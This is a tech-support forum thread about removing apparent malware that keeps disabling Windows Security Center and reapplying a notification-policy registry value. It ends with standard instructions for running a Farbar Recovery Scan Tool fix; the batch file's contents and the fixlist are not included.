Solved Windows Security Center Starting Problem

[ibrahim.yucel]

Hello,

There is a value on "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Explorer\DisableNotificationCenter" and this is "1". I can delete it but when I restart to PC it comes again.
And also I can start windows security center with manual and then it stops after restart. Attached files which you want.

Thanks for support.

How is the situation now?

 

[ibrahim.yucel]

Nothing changes.
Scan with Malwarebytes after restart and it founds 3 items again. When I click the fix, it says these files are deleted but I think can not delete.

Do you have notifications in Symantec enabled?

Enabling or disabling Symantec Endpoint Protection pop-up notifications that appear on Windows 8 clients

Yes, this is enabled.

Do you still have this folder?

C:\zec

Any idea what is this?

Hi,

Actually, I selected "Show hidden folders and files" but I can not see this folder. I tried to access with chrome and I can see. There are some files but I do not know what are they or what do they mean? I attached screenshot.

Thanks.

Hi,

There is a file named "start.bat" on this folder and it is a autoexec file I think. This file including this:

I think problem is here. Should I delete this folder completely?

We'll do it by using FRST. It will take care of everything:

Fix with Farbar Recovery Scan Tool

This fix was created for this user for use on that particular machine.

Running it on another one may cause damage and render the system unstable.

​

Download attached fixlist.txt file and save it to the Desktop:

Both files, FRST and fixlist.txt have to be in the same location or the fix will not work!

• Right-click on
  
  icon and select
  
  Run as Administrator to start the tool.
  (XP users click run after receipt of Windows Security Warning - Open File).
• Press the Fix button just once and wait.
• If for some reason the tool needs a restart, please make sure you let the system restart normally. After that let the tool complete its run.
• When finishes FRST will generate a log on the Desktop, called Fixlog.txt.

Please attach it to your reply.
